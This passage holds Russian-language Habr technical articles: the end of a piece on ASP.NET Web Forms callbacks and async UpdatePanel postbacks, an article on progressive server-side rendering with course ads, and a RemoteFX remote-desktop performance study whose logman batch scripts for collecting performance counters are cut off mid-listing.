$@"SomeControl.CallServer = function(someFileId) {{
let args = JSON.stringify({{ SomeFileId : someFileId, Type: '{callbackArgument}' }});
{Page.ClientScript.GetCallbackEventReference(this, "args", "SomeControl._successCallbackHandler", string.Empty, "SomeControl._failCallbackHandler", true)};
}};",
true);
//Регистрируем контрол как асинхронный
ScriptManager.GetCurrent(Page)?.RegisterAsyncPostBackControl(this);
}
```
Это очевидно code behind контрола.
Самое интересное — это генерация JS функции методом GetCallbackEventReference.
Передаём в него
* ссылку на наш контрол
* имя JS-переменной, значение которой будет передано на сервер в метод RaiseCallbackEvent через eventArgument (строкой выше сериализуем объект в JSON для передачи и собственно устанавливаем значение этой самой переменной args)
* имя JS-функции обратного вызова для случая успешного выполнения
* контекст выполнения (я им не пользуюсь)
* имя JS-функции обратного вызова для случая если что-то пошло не так
* будем валидировать средствами ASP.NET пришедший на сервер запрос
Как это всё будет работать в связке?
Из JS мы можем вызвать SomeControl.CallServer, эта функция создаст локальную переменную args и передаст управление функции, которая сделает запрос на сервер через AJAX.
Далее управление передаётся серверному методу RaiseCallbackEvent. Всё что было в клиентской переменной args теперь попало в серверный входной параметр eventArgument.
После выполнения RaiseCallbackEvent управление будет передано GetCallbackResult.
Строка, которую мы вернём через return будет отправлена на клиента и попадёт во входной параметр функции SomeControl.\_successCallbackHandler, то есть в responseData.
Если на каком-то этапе серверный код выдаст Exception, то управление будет передано клиентскому SomeControl.\_failCallbackHandler
Ещё необходимо сказать про ViewState. ViewState передаётся с клиента на сервер, и им можно пользоваться, но только в режиме ReadOnly, т.к. обратно на клиента ViewState не отправляется.
Конструкция на первый взгляд запутанная, но если разобраться, то получается довольно удобно, и трафик сэкономили.
Второй вопрос, который я хочу осветить в этой статье — это кликабельные div-ы или как можно вызвать обновление UpdatePanel со стороны клиента.
Зачем нужны кликабельные div-ы, можно же просто использовать ?
Мне нравиться, что div можно сверстать как мне хочется, я не ограничен рамками input type=«button»
Для реализации нужно отнаследоваться от интерфейса IPostBackEventHandler
У него всего 1 метод
```
public void RaisePostBackEvent(string eventArgument)
```
Теперь, как и в предыдущем случае, нам необходимо сгенерировать JS для вызова этого метода
Выглядит это так
```
Page.ClientScript.GetPostBackEventReference(this, callbackArgument)
```
callbackArgument задаётся на сервере и поменять его на клиенте не выйдет. Но всегда можно что-то положить в HiddenField. У нас же полноценный PostBack
Теперь результат выполнения GetPostBackEventReference можно повесить на onclick любого div или span или вообще чего угодно.
Или просто вызвать из JS по таймеру.
Обязательно регистрируем контрол как асинхронный (на OnLoad вызываем
```
ScriptManager.GetCurrent(Page)?.RegisterAsyncPostBackControl(this);
```
), иначе даже будучи внутри UpdatePanel будет вызван синхронный PostBack и обновится вся страница, а не только содержимое UpdatePanel
Используя 2 описанных выше метода я реализовывал, например, такой сценарий.
Пользователь нажал на кнопку, на сервер ушёл маленький запрос на длительную операцию (10-15 сек), пользователю пришёл короткий ответ, при разборе которого клиентский скрипт вызывает setTimeout. В setTimeout передаётся функция для callback на сервер для того, чтобы узнать о результатах запрошенной ранее операции. Если результат готов, то вызываем PostBack в UpdatePanel — происходит обновление заданной UpdatePanel. Если же результат ещё не готов, то опять вызываем setTimeout.
Всем кто всё ещё работает с Web Forms — удачи, надеюсь статья сделает ваши системы быстрее и красивее, и пользователи скажут вам слова благодарности. | https://habr.com/ru/post/427291/ | null | ru | null |
# Прогрессивный рендеринг для лучшей производительности веб-приложений
Понимание концепций рендера веб-страниц и измерение производительности рендера с помощью Chrome DevTools
--------------------------------------------------------------------------------------------------------
[](https://habr.com/ru/company/skillfactory/blog/540294/)
Не важно, насколько хорош ваш сайт; если его загрузка занимает слишком много времени, никто не будет ждать, чтобы его увидеть. Если ваш сайт загружается более 3 секунд, есть большая вероятность, что вы потеряете часть посетителей. Но знаете ли вы, что можно значительно улучшить время загрузки своего веб-приложения, используя прогрессивный рендеринг? Прогрессивный рендеринг не только увеличивает скорость загрузки, но и решает некоторые серьёзные проблемы в методах рендеринга на стороне клиента и на стороне сервера. Чтобы лучше понять прогрессивный рендеринг, давайте посмотрим, как работает рендеринг на стороне клиента и на стороне сервера.
---
Рендеринг на стороне клиента
----------------------------
Рендеринг на стороне клиента (CSR) – это метод, при котором контент рендерится в браузере с помощью JavaScript. Вместо того чтобы получать весь контент из самого HTML-файла, сервер отправляет HTML с пустым body и тегами script, в которых содержатся ссылки на JavaScript-бандлы, с помощью которых браузер будет рендерить контент. Теперь давайте посмотрим, как происходит рендеринг страницы на стороне клиента:
1. Когда пользователь переходит на веб-страницу, отправляется запрос на получение HTML-документа.
2. Сервер отправляет HTML-код с пустым телом и тегами script для загрузки JS-бандлов.
3. Браузер анализирует HTML и шлёт HTTP-запросы для получения JS-бандлов. В это время пользователь видит либо часть содержимого HTML, либо пустую страницу, либо индикатор загрузки.
4. Только после того как основной JS-бандл получен и отрисован, пользователь видит реальный, значимый контент.
В CSR после загрузки JS контент будет загружаться асинхронно. Мы можем сначала загрузить критически важный контент, а затем второстепенный.
[Рендеринг на стороне клиента](https://www.youtube.com/watch?v=4-Lel1oaV7M)
CSR имеет небольшое преимущество благодаря кэшированию загруженных JS-бандлов и статического HTML, поэтому навигация между страницами становится очень быстрой. Однако в CSR контент начинает загружаться только после выполнения всего JavaScript-бандла, а пользователям приходится сидеть сложа руки, просто наблюдая за пустым экраном без понимания, что происходит. По мере увеличения размера бандла пользователям придется ждать всё больше и больше, прежде чем они увидят что-нибудь осмысленное или начнут использовать страницу. Но что, если мы сможем рендерить контент независимо от JS-бандла? Здесь на помощь приходит рендеринг на стороне сервера (SSR)!
Рендеринг на стороне сервера
----------------------------
При рендеринге на стороне сервера HTML-код рендерится на сервере и отправляется клиенту. Контент, который нам нужно отобразить на экране, становится доступен сразу после анализа HTML; следовательно, первичный рендеринг контента происходит быстрее, чем у CSR. Теперь давайте разберёмся, как работает SSR:
1. Браузер запрашивает HTML с сервера.
2. Сервер делает API запросы и рендерит HTML-контент на своей стороне.
3. Скомпилированный HTML-код отправляется в браузер.
4. Как только браузер загружает и анализирует HTML, веб-приложение становится доступным для конечного пользователя, не дожидаясь загрузки JS-бандлов.
5. Браузер загружает и запускает JS-бандлы, чтобы сделать страницу интерактивной.
Поскольку API обычно размещён на сервере, а исходный JavaScript не блокирует контент, в SSR исходный контент загружается очень быстро.
[Серверный рендеринг](https://www.youtube.com/watch?v=0bvo6UKkNDA)
> Хотя мы и получаем быструю отрисовку контента, страница не будет интерактивной, пока мы не загрузим и не выполним JS.
Мы можем справиться с недостатками CSR с помощью SSR. Но остаются другие серьёзные недостатки, такие как рендеринг критического и некритического контента перед его отправкой клиенту. Я знаю, о чём вы сейчас думаете. Есть ли подход, в котором мы можем объединить оба упомянутых метода, верно? У меня есть хорошие новости для вас! Используя прогрессивный рендеринг, вы объедините преимущества CSR и SSR. Теперь давайте посмотрим, как мы можем сделать впечатления ваших клиентов приятнее с помощью техники прогрессивного рендеринга.
Прогрессивный рендеринг на стороне сервера
------------------------------------------
> «Прогрессивный рендеринг на стороне сервера: ключом к ускорению веб-страницы является метод последовательного рендеринга частей веб-страницы на стороне сервера и отправки их клиенту по частям, не дожидаясь, пока будет отрисована вся страница».
Прогрессивный рендеринг на стороне сервера (PSSR) основан на концепции потоковой передачи HTML. PSSR разбивает страницы на осмысленные компоненты с помощью разделения кода. Эти части страницы управляются разными скриптами, и теперь у нас есть возможность сделать гидратацию независимо. Давайте посмотрим, как работает PSSR:
1. Браузер запрашивает у сервера HTML-код.
2. Сервер делает API запросы и сначала рендерит критический контент, а затем отправляет его клиенту.
3. Браузер анализирует HTML и отображает его на экране.
4. Сервер рендерит некритический контент и передает его браузеру.
5. Затем браузер анализирует и отображает некритичный контент.
6. Между тем JS-бандлы загружаются и выполняются в фоновом режиме, а браузер передаёт интерактивность элементам DOM.
PSSR повышает производительность вашего веб-приложения, извлекая и визуализируя компоненты страницы параллельным и приоритетным образом. Этот подход известен как метод прогрессивной гидратации. Особенности метода прогрессивной гидратации:
* Рендер компонента не происходит до тех пор, пока он не появится в поле зрения или не понадобится для взаимодействия с пользователем.
* Загрузка контента при взаимодействии с пользователем (прокрутка) – намного быстрее, чем при CSR или SSR
* Тестирование показывает, что это может сократить время до появления первого интерактивного элемента.
* Впечатления приятнее даже при медленном соединении.
Кроме того, вы можете использовать подход критического пути рендеринга с PSSR для еще большей оптимизации производительности вашего приложения.
Критические этапы рендеринга
----------------------------
Оптимизация критических этапов рендеринга относится к приоритизации расположения контента, который связан с текущей деятельностью пользователя. Браузер выполняет много негласной работы, чтобы впечатления от работы со страницей были приятнее. Критические этапы рендеринга – это непосредственные шаги между получением HTML, CSS и JS и обработкой, необходимой для их преобразования в видимые пиксели.
*Вы можете сократить время первичного рендеринга вашего веб-приложения, оптимизировав критические этапы рендеринга*
Поскольку теперь у вас есть хорошее понимание клиентского, серверного и прогрессивного рендеринга, вы, наверное, думаете, есть ли способ оценить производительность рендеринга. Ответ – есть! Chrome DevTools предоставляет отдельную вкладку для мониторинга и оценки производительности рендеринга. Давайте посмотрим, как мы можем её использовать.
Анализ производительности с помощью Chrome DevTools
---------------------------------------------------
Даже в небольшом приложении под капотом выполняется много рендеринга. Вкладку «Rendering» в Chrome DevTools можно использовать для выявления проблем, связанных с рендерингом в JavaScript приложениях.
### Инструмент `Paint flashing`
По мере того как интерфейс становится более многофункциональным и сложным, жизненно важно рассмотреть способы оптимизации взаимодействия с пользователем за счёт уменьшения как времени загрузки, так и критического пути компонентов. Рендер контента на экране – один из самых дорогостоящих процессов. Чтобы визуализировать этот процесс, можно использовать удобный инструмент Paint Flashing, доступный на вкладке «Rendering».
Текущие области рендеринга будут подсвечены зелёным цветом, если эта опция включена в Chrome. Если вы видите области, которые вы не планировали рендерить, можно копнуть немного глубже.
### `Scrolling performance issues` в Chrome DevTools
Scrolling performance issues – это ещё один удобный инструмент, который вы можете использовать для выявления любых проблем, связанных с производительностью во время прокрутки страницы. Когда эта опция включена, она вешает на компоненты метку «Repaints on scroll» и подсвечивает зелёным цветом те компоненты, которые рендерятся при прокрутке страницы.
Отслеживая такие проблемы с производительностью, вы сможете гарантировать, что ваше веб-приложение даёт вашим пользователям наилучшие впечатления.
Заключение
----------
При разработке веб-приложения очень важно понимать основные принципы рендеринга. Эти знания помогут вам оптимизировать производительность вашей веб-страницы. По [статистике](https://smallseotools.com/blog/google-hates-your-site-because-its-slow-heres-what-to-do/), задержка загрузки страницы на одну секунду снизит ваш коэффициент конверсии на 7 %. С другой стороны, длительная загрузка может оказать разрушительное влияние на конверсию приложения. В этой статье я рассказала о трёх методах рендеринга и объяснила, почему прогрессивный рендеринг на стороне сервера имеет больше преимуществ по сравнению с двумя другими методами, а также как он помогает повысить производительность вашего веб-приложения.
---
[](https://skillfactory.ru/?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_banner&utm_term=regular&utm_content=habr_banner)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_WEBDEV&utm_term=regular&utm_content=070221)
* [Профессия Data Scientist](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DSPR&utm_term=regular&utm_content=070221)
* [Профессия Data Analyst](https://skillfactory.ru/dataanalystpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DAPR&utm_term=regular&utm_content=070221)
**Другие профессии и курсы**
**ПРОФЕССИИ**
* [Профессия Java-разработчик](https://skillfactory.ru/java?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_JAVA&utm_term=regular&utm_content=070221)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_QAJA&utm_term=regular&utm_content=070221)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FR&utm_term=regular&utm_content=070221)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-dev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_GAMEDEV&utm_term=regular&utm_content=070221)
* [Профессия Этичный хакер](https://skillfactory.ru/cybersecurity?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_HACKER&utm_term=regular&utm_content=070221)
* [Профессия C++ разработчик](https://skillfactory.ru/cplus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_CPLUS&utm_term=regular&utm_content=070221)
* [Профессия iOS-разработчик с нуля](https://skillfactory.ru/iosdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_IOSDEV&utm_term=regular&utm_content=070221)
* [Профессия Android-разработчик с нуля](https://skillfactory.ru/android?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ANDR&utm_term=regular&utm_content=070221)
---
**КУРСЫ**
* [Курс по Machine Learning](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ML&utm_term=regular&utm_content=070221)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/math_and_ml?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MATML&utm_term=regular&utm_content=070221)
* [Курс по Data Engineering](https://skillfactory.ru/dataengineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEA&utm_term=regular&utm_content=130121)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_PWS&utm_term=regular&utm_content=070221)
* [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algo?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_algo&utm_term=regular&utm_content=070221)
* [Курс по аналитике данных](https://skillfactory.ru/analytics?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_SDA&utm_term=regular&utm_content=070221)
* [Курс по DevOps](https://skillfactory.ru/devops?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEVOPS&utm_term=regular&utm_content=070221) | https://habr.com/ru/post/540294/ | null | ru | null |
# Производительность RemoteFX, часть 1
О технологии RemoteFX от Майкрософт, которая повышает качество работы в режиме удалённого рабочего стола, известно давно. В интернете хватает материалов, демонстрирующих её эффективность. Но большинство оценок носят качественный характер: "вот играем в %game\_name%, fps в норме", "вот запустили 3D софт, как будто локально работает! Скриншот здесь, видео там".
В данном исследовании мы разберёмся, как перейти от "попугаев" к конкретным метрикам, чтобы количественно оценить эффективность технологии и объективно сравнить её использование с обычным режимом RDP.
Содержание* Кратко о RemoteFX
* Конфигурация тестовой среды
+ Сервер
+ Клиент
* Выбор показателей для измерений
* Методика тестирования
+ Тест #1: ввод текста
+ Тест #2: ввод текста + 3D BenchMark
+ Тест #3: ввод текста + просмотр локальных видеофайлов
+ Тест #4: ввод текста + просмотр youtube-ролика
* Обработка данных и построение графиков
* Анализ результатов и наиболее интересные графики
+ Задержки при обработке ввода от пользователя
+ Частота кадров
+ Общие сетевые метрики
+ Загрузка центрального процессора
+ Загрузка видеокарты
* Выводы
* Что дальше
* Список источников
* Приложения
+ Переопределение групп сбора данных: \_1\_task\_define.cmd
+ Принудительная остановка записи данных: \_1\_task\_breake.cmd
+ Конвертация двоичных данных в CSV: blg2csv.cmd
+ Нормализация заголовков CSV: blg2csv.ps1
+ Jupiter Notebook: импорт данных
+ Jupiter Notebook: отрисовка одной метрики на диаграмму
+ Jupiter Notebook: отрисовка всех метрик на одной диаграмме
+ Диаграмма со всеми графиками
### Кратко о RemoteFX
Традиционный RDP работает так, чтобы как можно больше работы по отрисовке окна удалённого рабочего стола переложить на клиента: по сети передаются графические примитивы и инструкции, которые должна выполнить клиентская видеокарта. Такой подход, в случае показа видео или использования интерфейса Windows Aero, требует поддержки со стороны клиента. Иначе вместо Aero будет использована упрощённая схема, а обработанный CPU сервера видеопоток передан клиенту в виде растровой графики, производительность отрисовки при этом может оказаться просто неприемлемой. Поэтому приходилось выбирать: либо использовать традиционный RDP только в связке с достаточно производительным клиентским железом, либо отказываться от сложной графики.
При включении RemoteFX клиенту по сети по прежнему передаются растровые кадры. Но есть два существенных отличия от традиционного RDP. Во-первых, вся подготовка и обработка графики перекладывается на GPU сервера, это происходит намного быстрее и разгружает CPU. А во-вторых, используется сжатие кадра, которое выполняет кодек RemoteFX. Это существенно снижает объём передаваемых по сети данных, тем самым разгружая канал связи. Это существенно снижает требования к клиентскому железу, но сохраняет достаточный уровень отрисовки и отзывчивости удалённого рабочего стола.
### Конфигурация тестовой среды
#### Сервер
* 2 vCPU Intel(R) Xeon(R) CPU E5-2696 v4 @ 2.20GHz
* 8 GB RAM
* GPU NVIDIA GRID M60-1Qб, Dedicated Memory 929 MB, Shared Memory 4095 MB
* гостевая ОС Windows Server 2019 Standart x64 1809 (Version 10.0.17763.1577), DirectX 12
* network in/out rate limit 50 Mbps
#### Клиент
* Intel(R) Core(TM) i5-7600K CPU @ 3.80GHz, 3801 МГц, ядер: 4, логических процессоров: 4
* 16 GB RAM
* network in/out rate limit 100 Mbps
* OS Windows 10 Pro 2004 (Version 10.0.19041.685), DirectX 12
* настройки RDP-сеанса
+ 1920 x 1080 (32 bit) (32Hz)
+ на вкладке "Взаимодействие" выбрано "Локальная сеть (10 Мбит/с и выше)"
### Выбор показателей для измерений
Качество и производительность удалённого рабочего стола нужно оценить с точки зрения как пользователя, так и потребления облачных ресурсов. Будем собирать данные о частоте кадров отрисовки, задержках отклика на ввод данных, сетевом трафике и загрузке CPU/GPU/RAM. Метрики выбраны с учётом официальных [рекомендаций по диагностике](https://docs.microsoft.com/ru-ru/azure/virtual-desktop/remotefx-graphics-performance-counters).
Замеры выполним с помощью стандартного средства `Системный монитор`. Для этого на каждый тест определим свой сборщик данных, который в течении двух минут будет каждую секунду фиксировать в двоичном blg-файле журнала показания счётчиков:
Показания* \Графика RemoteFX(\*)\Качество кадра
* \Графика RemoteFX(\*)\Исходящих кадров в секунду
* \Графика RemoteFX(\*)\Входящих кадров в секунду
* \Графика RemoteFX(\*)\Среднее время кодирования
* \Графика RemoteFX(\*)\Коэффициент сжатия графических данных
* \Графика RemoteFX(\*)\Пропущено кадров в секунду — у сервера недостаточно ресурсов
* \Графика RemoteFX(\*)\Пропущено кадров в секунду — недостаточно сетевых ресурсов
* \Графика RemoteFX(\*)\Пропущено кадров в секунду — у клиента недостаточно ресурсов
* \Задержка ввода данных пользователем на сеанс(Max)\Максимальная задержка ввода
* \Сведения о процессоре(\_Total)\% загруженности процессора
* \NVIDIA GPU(\*)\% Video Decoder Usage
* \NVIDIA GPU(\*)\% Video Encoder Usage
* \NVIDIA GPU(\*)\% GPU Memory Usage
* \NVIDIA GPU(\*)\% GPU Usage
* \NVIDIA GPU(\*)\% FB Usage
* \Сеть RemoteFX(\*)\Потери
* \Сеть RemoteFX(\*)\Общая скорость отправки
* \Сеть RemoteFX(\*)\Общая скорость приема
* \Сеть RemoteFX(\*)\Скорость отправки TCP-данных
* \Сеть RemoteFX(\*)\Скорость отправки UDP-данных
* \Сеть RemoteFX(\*)\Общая скорость приема
* \Сеть RemoteFX(\*)\Скорость получения TCP-данных
* \Сеть RemoteFX(\*)\Скорость получения UDP-данных
* \Сеть RemoteFX(\*)\Пропускная способность текущего TCP-подключения
* \Сеть RemoteFX(\*)\Пропускная способность текущего UDP-подключения
* \Память\% использования выделенной памяти
* \Память\Доступно байт
PS. По непонятной причине данные по оперативной памяти не сохранялись в журнал при выполнении задания группы сбора, хотя "вживую" `Системный монитор` нормально строил графики по обоим показателям. [Сброс кэша счётчиков](https://docs.microsoft.com/ru-ru/troubleshoot/windows-server/performance/manually-rebuild-performance-counters) не помог.
### Методика тестирования
Чтобы оценить эффективность использования выделенной видеокарты на облачным сервере, нужно провести две серии одинаковых тестов: до и после включения отрисовки удалённого рабочего стола на GPU.
В каждой серии выполним следующие тесты:
1. ввод текста
2. ввод текста + 3D BenchMark
3. ввод текста + просмотр локальных видеофайлов
4. ввод текста + просмотр youtube-ролика
Для оценки влияния теста на задержку обработки ввода от пользователя поверх основной программы открывается стандартный `Блокнот` и зажимается произвольная клавиша. Окно редактора на протяжении теста будет постоянной частью всех кадров, поэтому исказит результат в лучшую сторону. Чтобы снизить эффект, размер окна уменьшим до 122\*156% 99% кадра будут меняться и визуально будет видно, что имитация активности пользователя работает.
#### Тест #1: ввод текста
В качестве тестов [рекомендуется](https://docs.microsoft.com/ru-ru/archive/blogs/vm/remotefx-2) "использовать любые приложения, которые плотно работают с графикой (например, потоковое видео), приложения, использующие DirectX". Результаты первого теста, с точки зрения пользователя (частота кадров и задержка ввода), практически одинаковые. Поэтому строить графики и анализировать их нет особого смысла. Такой тест больше пригодится для диагностики RemoteFX.
#### Тест #2: ввод текста + 3D BenchMark
Выполнялся при помощи FurMark в полноэкранном режиме.
#### Тест #3: ввод текста + просмотр локальных видеофайлов
Локальные видеофайлы воспроизводились в Windows Media Player, равёрнутом на весь экран, без установки каких-либо дополнительных кодеков, по кругу в следущем порядке:
1. ["Ants carrying dead spider"](https://www.videvo.net/video/ants-carrying-dead-spider/4752/): 1920 x 1080, 10667 кбит/с, 19 секунд, 29.97 fps
2. ["Flying Through Forest 1"](https://www.videvo.net/video/flying-through-forest-1/4651/): 1920 x 1088, 48072 кбит/с, 9 секунд, 25 fps
3. ["Low Angle Of Pedestrians Walking In Busy Street, Daytime"](https://www.videvo.net/video/low-angle-of-pedestrians-walking-in-busy-street,-daytime/464239/): 4096 x 2160, 31721 кбит/с, 13 секунд, 25 fps
Единственным критерием отбора была динамичность ролика: видеоряд должен был как можно сильнее нагрузить кодек RemoteFX. Но ролик "Flying Through Forest 1" оказался в этом плане интересной находкой: выходной FPS заметно проседал, а входной от запуска к запуску был сильно выше или ниже среднего! Его влияние на различные метрики будет заметно на графиках, которые будут ниже.
#### Тест #4: ввод текста + просмотр youtube-ролика
В качестве youtube-теста был выбран чудесный ролик "[Коста-Рика](https://www.youtube.com/embed/LXb3EKWsInQ?autoplay=1&end=140&fs=1&rel=0&loop=1)", который проигрывался в качестве `1080p60` в браузере Firefox, режим "киоск".
### Обработка данных и построение графиков
Файлы журналов - `blg` - имеют двоичный формат: легко открываются в родной программе, графики всех счётчиков на одной шкале, можно выключать/включать/масштабировать/etc. Но чтобы работать с данными из нескольких файлов, нужно другое решение.
Сначала конвертируем двоичные файлы в csv (см. Приложение) с помощью стандартной утилиты `reglog` и очистим их заголовки (см. Приложение).
Затем в `Jupiter`-блокноте при помощи библиотек `pandas` и `matplotlib` прочитаем `csv` (см. Приложение, Jupiter Notebook: импорт) и построим графики (см. Приложение, Jupiter Notebook: одна метрика — одна диаграмма).
### Анализ результатов и наиболее интересные графики
#### Задержки при обработке ввода от пользователя
До включения групповых политик сильнее всего на обработке ввода сказалось проигрывание локальных видеофайлов: в среднем 45 мс при рекомендованных 33 мс.
Включение отрисовки через GPU в групповых политиках стабилизировало этот показатель во всех сценариях.
#### Частота кадров
После включения GPU ускорения ситуация явно становится лучше, особенно в 3D тесте. Результаты двух других тестов хоть и демонстрируют улучшение, но недостаточно: провалы на графиках соответствуют визуальным "рывкам" при просмотре.
Воспроизведение ["Flying Through Forest 1"](https://www.videvo.net/video/flying-through-forest-1/4651/) (1920 x 1088, 48072 кбит/с, 9 секунд, 25 fps): от запуска к запуску на вход кодека RеmoteFX поступало либо повышенное либо пониженное количество кадров. Возможно, причина в перекодировке из формата QuickTime, "лишних" 8 пикселях ширины кадра или битрейте.
["Коста-Рика"](https://www.youtube.com/embed/LXb3EKWsInQ) также вызвал "проседание" FPS у RemoteFX: его проигрывание в браузере в `1080p60` ложилось на центральный процессор. Возможно, он просто не успевал перекодировать из 60fps и подготовить нужный кадр для RemoteFX.
#### Общие сетевые метрики
При включении GPU ускорения происходит рост сетевого трафика, который зависит от сценария теста.
Видно, что самым тяжёлым для кодека RemoteFX опять оказался тот же самый видеофайл, ["Flying Through Forest 1"](https://www.videvo.net/video/flying-through-forest-1/4651/). Первый запуск этого теста, когда наблюдается провал входящих кадров, также видим скачки трафика до 60 Мбит/с и потери до 30% - 40%.
#### Загрузка центрального процессора
Включение GPU ускорения практически вдвое разгружает центральный процессор, за исключением youtube-теста. И даже здесь удалось уйти от периодической 100% загрузки.
#### Загрузка видеокарты
Возможно, разгадка странного поведения второго ролика кроется в графике 17: входящих для RemoteFX кадров было больше, когда видеокарта была больше загружена кодированием.
### Выводы
В RDP протоколе частота кадров ограничена 30-ю кадрами в секунду. Со стороны сервера увеличить лимит FPS [можно](https://docs.microsoft.com/en-us/troubleshoot/windows-server/remote/frame-rate-limited-to-30-fps), но бессмысленно: на практике терминальная сессия перестала отрисовывать окно и реагировать на действия как раз при проигрывании ["того самого"](https://www.videvo.net/video/flying-through-forest-1/4651/) видеофайла :).
#### Итоги в цифрах:
1. Частота кадров стабилизируется почти на максимально возможном для протокола уровне: 29-30 FPS в среднем вместо 25 или даже 15 FPS
2. Отзывчивость удалённого рабочего стола также стабилизируется, при этом возрастая в несколько раз
3. Заметно, на 20-50 %, разгружается центральный процессор
4. Немного возрастает утилизация канала связи, на 3-6 Мбит/сек
5. Утилизация GPU составила до 20%
Результат действительно очень хороший: RemoteFX значительно увеличивает качество работы в терминальной сессии — плавность отрисовки окна и отклик на действия пользователя сравнимы с локальным режимом. Даже "тяжёлые" сценарии показывают в этом плане заметный прирост.
Тесты, конечно, носят искусственный характер: выбором способа нагрузки на кодек RemoteFX можно как "завалить" так и "подтянуть" его результаты. Возможно, более релевантным было бы проведение чего-то вроде "конфетти-теста", [например, такого](https://webglsamples.org/sprites/index.html).
### Что дальше
Так как на этом этапе тесты проводились для одной сессии и при включении лишь рекомендованных настроек, то далее имеет смысл протестировать производительность:
* при одновременной работе нескольких пользователей
* при включении в групповых политиках различных дополнительных настроек кодека
Список источников* [Настройка ускорения графического процессора (GPU) для виртуального рабочего стола Windows](https://docs.microsoft.com/ru-ru/azure/virtual-desktop/configure-vm-gpu)
* [Диагностика проблем производительности графики удалённого рабочего стола](https://docs.microsoft.com/ru-ru/azure/virtual-desktop/remotefx-graphics-performance-counters)
* [Рекомендация по тестированию](https://docs.microsoft.com/ru-ru/archive/blogs/vm/remotefx-2) взята из хоть и старого, но очень подробного описания RemoteFX
* [Про лимиты FPS](https://docs.microsoft.com/en-us/troubleshoot/windows-server/remote/frame-rate-limited-to-30-fps)
* [Сброс кэша счётчиков](https://docs.microsoft.com/ru-ru/troubleshoot/windows-server/performance/manually-rebuild-performance-counters)
* [Как сделать работу с Microsoft Remote Desktop лучше](https://habr.com/ru/post/501132/#comment_21593456). Ветка комментариев про UDP, TCP, потери и т.д. В самой статье есть [ссылки](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpemt/d22b606c-32c4-4647-b356-86f75e23a22c) на спецификации мультитранспортного расширения для протокола RDP
### Приложения
Переопределение групп сбора данных: \_1\_task\_define.cmd
```
@echo off
setlocal EnableDelayedExpansion
@REM для сбора используются счётчики, перечисленные в _1_counters.cfg
@REM счётчики называются только на английском, на русском это просто описание
@REM
@REM запуск сбора данных:
@REM при каждом входе на удалённый рабочий стол исправить _1_counters.cfg:
@REM 1) посмотреть номер своей терминальной сессии консольной командой
@REM query session
@REM
@REM 2) вписать этот номер в _1_counters.cfg, например, RDP-Tcp 9
@REM
@REM 3) перерегистрировать сброщик запуском данного файла
@REM
@REM 4) замер производительности производится запуском _2_task_run_X.cmd и длится 2 минуты
@REM
@REM удаление старого сборщика данных
logman delete -n RemoteFX_1
logman delete -n RemoteFX_2
logman delete -n RemoteFX_3
logman delete -n RemoteFX_4
logman delete -n RemoteFX_5
for /F "usebackq delims= " %%a IN (`query session ^| find "Administrator"`) DO (
set "x=%%a"
set "x=!x:~9,10!"
echo !x!
type NUL>_1_counters.cfg
echo ^\NVIDIA GPU^(^*^)^\%% Video Decoder Usage>>_1_counters.cfg
echo ^\NVIDIA GPU^(^*^)^\%% Video Encoder Usage>>_1_counters.cfg
echo ^\NVIDIA GPU^(^*^)^\%% GPU Memory Usage>>_1_counters.cfg
echo ^\NVIDIA GPU^(^*^)^\%% GPU Usage>>_1_counters.cfg
echo.>>_1_counters.cfg
echo ^\Processor Information^(_Total^)^\%% Processor Time>>_1_counters.cfg
echo.>>_1_counters.cfg
echo ^\RemoteFX Network^(RDP-Tcp !x!^)^\Loss Rate>>_1_counters.cfg
echo ^\RemoteFX Network^(RDP-Tcp !x!^)^\Current TCP Bandwidth>>_1_counters.cfg
echo ^\RemoteFX Network^(RDP-Tcp !x!^)^\Current UDP Bandwidth>>_1_counters.cfg
echo.>>_1_counters.cfg
echo ^\RemoteFX Network^(RDP-Tcp !x!^)^\Total Sent Rate>>_1_counters.cfg
echo ^\RemoteFX Network^(RDP-Tcp !x!^)^\TCP Sent Rate>>_1_counters.cfg
echo ^\RemoteFX Network^(RDP-Tcp !x!^)^\UDP Sent Rate>>_1_counters.cfg
echo.>>_1_counters.cfg
echo ^\RemoteFX Network^(RDP-Tcp !x!^)^\Total Received Rate>>_1_counters.cfg
echo ^\RemoteFX Network^(RDP-Tcp !x!^)^\TCP Received Rate>>_1_counters.cfg
echo ^\RemoteFX Network^(RDP-Tcp !x!^)^\UDP Received Rate>>_1_counters.cfg
echo.>>_1_counters.cfg
echo ^\RemoteFX Graphics^(^*^)^\Output Frames/Second>>_1_counters.cfg
echo ^\RemoteFX Graphics^(^*^)^\Input Frames/Second>>_1_counters.cfg
echo.>>_1_counters.cfg
echo ^\RemoteFX Graphics^(^*^)^\Frames Skipped/Second - Insufficient Server Resources>>_1_counters.cfg
echo ^\RemoteFX Graphics^(^*^)^\Frames Skipped/Second - Insufficient Network Resources>>_1_counters.cfg
echo ^\RemoteFX Graphics^(^*^)^\Frames Skipped/Second - Insufficient Client Resources>>_1_counters.cfg
